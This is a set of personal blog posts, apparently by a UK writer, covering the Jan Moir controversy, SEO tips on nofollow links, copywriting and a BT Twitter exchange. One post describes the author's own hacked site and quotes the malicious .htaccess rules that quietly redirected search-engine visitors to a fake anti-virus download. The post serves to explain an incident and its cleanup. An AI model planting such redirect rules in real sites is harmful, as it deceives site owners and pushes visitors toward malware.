It's so quiet in the south of England - and probably the rest of it too. So once everyone's home and the ash has cleared up, how about we keep the airports shut?

Join my Facebook group: Let's keep the airports shut - the ash means it's nice and quiet everywhere.

I've summarised the bits about the website plans from the BBC's strategic review, to save you having to read the whole long, rambling document. Read it here over at the econsultancy blog.

I've blogged about Jan Moir and the PCC's ruling over at libdemvoice.org. Why not read it and leave a comment? Here's a taste:

Second, the PCC is excusing what she wrote on the grounds that someone else had said it already. On this basis, newspapers can justify any factual inaccuracy as long as someone else said it first. What was Cowley supposed to do, track down the first journalist to wrongly claim Gately died alone and complain about them only?

I wrote a guest post about when you should pay professional rates for great copywriting - as opposed to 2p a word via some content mill, or even less for some automated keyword spewer.

If you fancied reading it and retweeting it, I might get invited back to do another one (and you might find it interesting, too).

Anyway, click here to read when it's worth paying top dollar for professional copywriting.

So I discovered today that my blog had been hacked - a word that governs a multitude of sins.

This hack seemed very clever:

• If you typed a URL in directly, as I would to get to my own site, the site worked as normal.
• If you visited the site from Google (or another search engine), you got redirected to another site, below, that tried to persuade you to download some supposed anti-virus software (which I'm sure was no such thing). I had no idea this was going on, as everything looked fine to me.

Not my site ...

It turns out that someone had edited the htaccess file (a sort of configuration file for directories on your server) and made it look like this:

RewriteEngine On

RewriteCond %{HTTP_REFERER} .*google.* [OR]

RewriteCond %{HTTP_REFERER} .*ask.* [OR]

RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]

RewriteCond %{HTTP_REFERER} .*excite.* [OR]

RewriteCond %{HTTP_REFERER} .*altavista.* [OR]

RewriteCond %{HTTP_REFERER} .*msn.* [OR]

RewriteCond %{HTTP_REFERER} .*netscape.* [OR]

RewriteCond %{HTTP_REFERER} .*aol.* [OR]

RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]

RewriteCond %{HTTP_REFERER} .*goto.* [OR]

RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]

RewriteCond %{HTTP_REFERER} .*mamma.* [OR]

RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]

RewriteCond %{HTTP_REFERER} .*lycos.* [OR]

RewriteCond %{HTTP_REFERER} .*search.* [OR]

RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]

RewriteCond %{HTTP_REFERER} .*bing.* [OR]

RewriteCond %{HTTP_REFERER} .*dogpile.*

RewriteRule .* http://justrags.com/Swatches/1106/jpg.php [R,L]

So whenever anyone visited my site from one of those search engines, the server automatically redirected it to the justrags.com site - which has a file on it called jpg.php it (not an image, but a file made to look like one to fool the site owner).

This, in turn, redirects you to thebestantispywarei.com (don't go there). That site tries to get you to install some alleged anti-virus software, which you definitely shouldn't.

It then turned out that my not-yet-finished company site had the same issue.

At first I thought that someone must have managed to get hold of all my passwords (the login details for the two sites are different - so one login can't access both).

But then I checked out some other sites on my shared server such as:

• www.christchurchsouthcambs.org,
• gingerbeer.co.uk,
• possoft.co.uk and
• bloomsburycleaning.co.uk.

They all had (have as I write this) the same issue - visits via google were redirected, but you could get to the site by typing the URL directly.

My webhost hasn't given me a very good explanation of what has happened or what's going to stop it happening again - clearly the whole server has been compromised.

But, for now, I've recreated a normal htaccess file for a wordpress blog - cobbling one together out of this and this. And the site is back working as normal - with new passwords for the server.

I added a best-of-2009 tag to a few posts to save me actually having to write anything. They're here if you want to take a look ...

I've guest posted over at The Media Blog: The Mail needs to clamp down on its racist readers

The Mail Online has a serious problem with its moderation policy and racist comments.

For the second time in a week, comments on a race-related story have revealed the unpleasant nature of some of its readers, the drawback of its moderators apparently clocking off overnight, and the difficulty of moderating hundreds of comments .... Read the full post here.

It was #oneletteroffmovies day on Twitter on Saturday - Top Gum, Pilates of the Caribbean etc. My contribution was "BT - one alien's struggle to get broadband so he can email home". And then BT began to tweet me ... (if you're not from the UK, BT is our formerly government-owned phone (and now internet) company).

My tweet

My original tweet: BT - one alien's struggle to get broadband so he can email home

BT: Is it a residential problem?

Someone's mentioned BT on Twitter. BT fire off a reply: @malcolmcoles Hi there, is this a residential broadband account that you are having problems emailing with? What's up? I can help on twitter

Me: How far is Alpha Centauri from the nearest exchange?

I decide to stick with it: @BTCare Thanks for your reply. I need an internet connection in alpha centauri. Am I too far from an exchange?

BT: DM us with the full address

They reply: @malcolmcoles DM me the full address and postcode of where you would like the connection and I'll run a check to see what speed we can give

Let's hope it's light speed, eh? I stopped at this point. I've looked closely for any signs of irony. I can't see any ...

If you liked this post, you'll probably love 10 people who better prey their boss isn't on Twitter - s/he can see your tweets.

The furore over Jan Moir has thrown up several interesting SEO issues. Here's a basic one - how should you link to something you detest?

The problem with linking

Put simply, Google counts a link to a page / website as a vote for that page / website. So everyone who blogged about, and linked to, Jan Moir's article on Stephen Gately has, unfortunately, helped that particular article AND the Daily Mail website as a whole do better in Google's results. (According to Yahoo Site Explorer, there were 334 links to the original URL and 541 links to the URL after it was changed - that's 875 links in total)

Google will notice a lot more pages linking to the Mail, a lot more websites linking to the Mail - and will decide that the Mail and that Jan Moir article must be more important than they were the day before.

(You don't need to worry about linking in Twitter, though, as I explain below.)

You can see the effect here. A search for the letter 'a' in Google currently brings up Jan Moir's article first. (Update - it no longer does.) (It didn't used to. Fortunately, at the moment, that article is only on the second page of results for a search on 'Stephen Gately'. Notice, too, they've forgotten to update the meta description).

Jan Moir ranks 1st for a search on the letter 'a'

Here's how to get round it ...

The easy solution - don't link to it. Sometimes you have to, however - in the short term, you may need your readers to be able to read something to make sense of what you've written.

I saw someone suggesting a URL shortener like bit.ly. This won't work as, with most URL shorteners, Google looks at the ultimate link (read this post on the difference between URL shorteners' use of 301 and 302 redirects to understand why).

The best way to avoid your link counting as a vote is to add rel=nofollow to your links.

This means the links will still work as before for normal users - but nofollow tells search engines to ignore the links when calculating pages' importance - in other words, the link no longer counts as a vote. (Google has an explanation of nofollow.)

How to add nofollow

If you've got blogger or wordpress, adding this is easy. Once you've added a link as normal, just click on the HTML tag of the editor where you write your post - it looks like this picture in wordpress.

Add rel="nofollow" in HTML view

Then scroll down to where the link is. You'll see some text like this:

Jan Moir has written a <a href="http://www.dailymail.co.uk/femail/article-1220756/Why-natural-Stephen-Gatelys-death.html">disgusting piece</a> for the Mail on the death of Stephen Gately

The bit code in < > brackets is what makes the link. So you just need to add rel="nofollow" (with a space before and after) inside the bit of code that beings <a href="http: ...

So it now looks like this:

Jan Moir has written a <a rel="nofollow" href="http://www.dailymail.co.uk/femail/article-1220756/Why-natural-Stephen-Gatelys-death.html">disgusting piece</a> for the Mail on the death of Stephen Gately

Then click the other tab at the top to return to the normal view. You won't notice any difference there - but you can be happy that, in Google's eyes, you're not promoting whatever you're linking to. Result!

Don't worry about Twitter

You don't have to worry about linking to something in Twitter. Twitter automatically adds nofollow to all links that you tweet. (Thanks to Minifig for the point.) And, likewise, comments in blogs usually have nofollow added to links automatically.

There's a lot to remember when you're running around in a social media storm, as Jan Moir discovered last week. It would seem that updating meta descriptions isn't high on the list ...

This meta description doesn't sit well alongside Moir's so-called apology

The meta description (the 'invisible' description used by search engines to describe a page) on Jan Moir's article about Stephen Gately's death still reads (at nearly 11pm on Monday):

Our columnist asks why no-one will face up to the sordid reality of the Boyzone star's demise.

In a fairly lame attempt to deflect the criticism this article provoked, the Mail had changed the headline last week from "Why there was nothing natural about Stephen Gately's death" to "A strange, lonely and troubling death..."

And as she was being reviled across the internet, Jan put out a statement saying:

"Some people ... have been upset by my article about the sad death of Boyzone member Stephen Gately. This was never my intention. Stephen ... was a charming and sweet man who entertained millions. However, the point of my column ... was to suggest that, in my honest opinion, his death raises many unanswered questions. That was all."

Am I the only one who thinks suggesting he was sweet but that his sad death raises many unanswered questions isn't quite the same as asking about the "sordid reality of his demise".

Or did the Mail change the headline but forget to change the meta description?

Update Tuesday 9.20am: They're still using this wording on their columnists' page (click the Femail heading to see it) to describe Jan Moir's Stephen Gately piece:

The wording is being used explicitly on the site too

Poor show.